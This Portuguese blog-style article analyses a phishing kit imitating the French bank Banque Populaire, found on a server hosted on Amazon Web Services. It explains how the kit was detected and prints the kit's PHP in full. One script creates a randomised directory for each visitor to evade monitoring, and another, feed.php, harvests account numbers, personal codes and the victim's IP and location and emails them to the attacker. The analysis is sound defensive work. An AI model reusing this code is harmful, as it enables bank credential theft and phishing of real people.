Hoje em dia as empresas migraram parte da informação e infraestrutura para a Cloud. Quando se fala neste tema, fala-se p.ex, em documentação, sistemas, plataformas, infraestruturas, nomeadamente os modelos de Cloud atualmente conhecidos dentro deste contexto (ver imagem a baixo).

(fonte: wikipedia)

Este artigo não visa abordar Cloud Computing, mas o tema tornou-se tão viral que é irreal não falar sobre o assunto. Muitas empresas contratam provedores de Cloud, como a Amazon, e concebem e implantam as suas próprias infraestruturas na Cloud, contratando assim os serviços do provedor e beneficiando de toda a infraestrutura envolvente. Com alguma naturalidade, ações ilícitas dentro do contexto do cybercrime também têm crescido fortemente ao longo destes últimos anos, e este artigo apresenta uma breve análise de um caso de phishing detetado numa máquina virtual alojada na Amazon Web Services.

Atividade Suspeita

As empresas tendem em manter a segurança e performance das soluções em prol  do utilizador final. Nesse sentido, usam e abusam de uma panóplia de tecnologias, tais como, dashboards de estatísticas e análise de logs em real-time, monitorização de tráfego e performance de paginas-web, entre outros, de forma a incrementar e potenciar ao máximo a qualidade do serviço e disponibilidade dos seus sistemas. Através desses mecanismos é possível identificar que serviços são acedidos, ou melhor, qual o TOP 10 de serviços acedidos durante a última hora, ou nos últimos 5 minutos, e sobre tudo, o fluxo de pedidos a esse serviço (quantidade de pedidos em média). Assim, é possível detetar atividades potencialmente maliciosas na infraestrutura. Esta não é a forma ideal para o fazer, mas foi a maneira como este caso de phishing foi identificado.

O endereço potencialmente malicioso teve um crescimento exponencial de pedidos comparativamente com o que era esperado:

http://endereco_legitimo.com/includes/-/portailinternet/9a7798c3c974490335f94a04cdc29746/

Mais, a última parte do URL, 9a7798c3c974490335f94a04cdc29746/, varia pedido a pedido, parece que existem várias replicas do sistema malicioso  toda a vez que é acedido.

E.g.:
5e7bf18a88f5a46a928ea5c519d77360

5ed8f7c0ee23ad780e1d099469c6ae93

9c87c8bc29641ba5a4e51402a0d47614

Efetivamente, são valores aleatórios, e são valores de hash MD5.

A página apresentada nesta campanha de phishing é a seguinte.

Conclui-se que é uma página réplica do banco, Banque Populaire. De maneira a investigar um pouco sobre este serviço de e-banking, é possível verificar na página oficial que o serviço não suporta ligações seguras (TLS/SSL), algo impensável nesta era da informação. Para que fique mais claro, o uso de HTTPS (TLS/SSL) não serve apenas para transferir informação segura de ponta a ponta, também tem o objetivo de validar se a entidade que distribui a página ou se propõem a tal (a página consultada) é autentica (ver artigo sobre segurança da informação).

Análise Estática

Depois de confirmado que se trata de um ataque de phishing, foi conhecer-se o funcionamento e implementação desta campanha maliciosa.

Foi verificado que efetivamente dentro da diretoria: ../-/portailinternet/..  existiam enumeras diretorias em que o nome tinha sempre o mesmo número de caráteres, mais propriamente 32 (tamanho de chaves de Hash  do tipo MD5, https://pt.wikipedia.org/wiki/MD5).

O tamanho da diretoria que mantém o fake site  era abismal, quase 1.3 GB (foi efetuado um zip para compilar todos os ficheiros).

Ainda na raiz da diretoria ../-/portailinternet/.. foram identificados os seguintes ficheiros:

Nomeadamente: um ficheiro denominado index.php e uma diretoria diferente de todas as outras, chamada Pages.

O ficheiro index.php tem o seguinte conteúdo:

<?php
//Create Random Folder
$random=rand(0,100000);
$md5=md5("$random");
$base=base64_encode($md5);
$dst=md5("$base");

function recurse_copy($src,$dst) {
  $dir = opendir($src);
  @mkdir($dst);
  while(false !== ( $file = readdir($dir)) ) {
    if (( $file != '.' ) && ( $file != '..' )) {
      if ( is_dir($src . '/' . $file) ) {
        recurse_copy($src . '/' . $file,$dst . '/' . $file);
      }
      else {
        copy($src . '/' . $file,$dst . '/' . $file);
      }
    }
  }
  closedir($dir);
}
$src="Pages";
recurse_copy( $src, $dst );
header("location:$dst");
?>

Em suma, toda a vez que é acedido o site (esta diretoria raiz), é criada uma réplica do conteúdo da diretória Pages, com base no MD5 de um número pseudo-aleatório entre 0-100000. Em seguida, é feito o encode do resultado da função de hash em base64. Por fim, é efetuada outra iteração com a função de hash MD5 com o objetivo de construir novas diretorias aleatórias com nomes semelhantes àquelas que foram mencionados mais acima.

$random=rand(0,100000);
$md5=md5("$random");
$base=base64_encode($md5);
$dst=md5("$base");

Este detalhe revela que o autor do código teve preocupações de segurança nesta campanha de phishing. Por exemplo, um sistema de monitorização de tráfego malicioso torna-se ineficiente em parte uma vez que o caminho da página é sempre variável toda a vez que um novo utilizador acede ao fake site. Este facto dificulta em muito a tarefa de qualquer agente de rede.

Em seguida, pode ver-se a estrutura da diretória maliciosa, Pages.

É uma estrutura muito semelhante a qualquer pagina web. A página index.html detém todo o código de formatação HTML/CSS e a página invocada quando um utilizador submete os dados de autenticação: feed.php.

<form class="ca-forms ca-forms-stitre" method="POST" name="formulaire" id="formulaire" action="feed.php" onsubmit="return false;">
 feed.php
<?
$ip = getenv("REMOTE_ADDR");
$time       = date( "M j, Y | G:i:s A" );
$cip = "http://ipinfo.io/$ip/country";
$postal = "http://ipinfo.io/$ip/postal";
$postal1 = file_get_contents($postal);
$creatorlocation1 = file_get_contents($cip);

$from = $_POST['moukil'];
$pass = $_POST['CCCRYC'];
$usr = $_POST['CCPTE'];

if ($usr== ""){
echo("<script>window.location=' http://www.banquepopulaire.fr/portailinternet/Pages/robot.txt';</script>");
}
else {

$message .= "#=========[ $time ]=========#\n";
//$message .= "Site :  ".$_POST['$site']."\n";
//$message .= "TELEPHONE :  ".$_POST['tele']."\n";
$message .= "DEPARTEMENT :  ".$_POST['departement']."\n";
$message .= "N° DE COMPTE :  ".$_POST['CCPTE']."\n";
$message .= "CODE PERSONNEL :  ".$_POST['CCCRYC']."\n";
$message .= "#======[ $from ]======#\n";

$send = "[email protected],amine.keemail.me";
$subject = "[login] $from $ip ]";
$from = "From: PopulaireLog <[email protected]>";
mail($send,$subject,$message,$from);
ehho "<meta http-equiv='Refresh' content='0; URL=final.php'>";
}
?>

Esta página recebe o endereço de IP da vítima, a sua localização geográfica, os dados de autenticação e do cartão de crédito, e envia o feed para dois endereços de e-mail:

$send = "[email protected],amine.keemail.me";

Estes são e-mails presentes em blacklists. Consegue-se obter ainda alguma informação sobre o atacante, eventualmente informação falsa.

O ficheiro final.php presente também na diretoria Pages, é uma réplica do index.html, mas neste caso o autor “tentou” converter todo o conteúdo para a linguagem php, e sem sucesso. Ele não é usado durante o processo de phishing.

O ficheiro cc.php possui parte da lógica de envio do ficheiro feed.php. Estes dois ficheiros (final.php e cc.php) parecem ser uma tentativa mal sucedida do atacante aprimorar a solução maliciosa. Mais uma vez, o ficheiro cc.php também não é usado.

Os restantes ficheiros fazem parte de toda a estrutura do fake site, funções javascript de forma a melhorar a experiência utilizador – sistema, etc.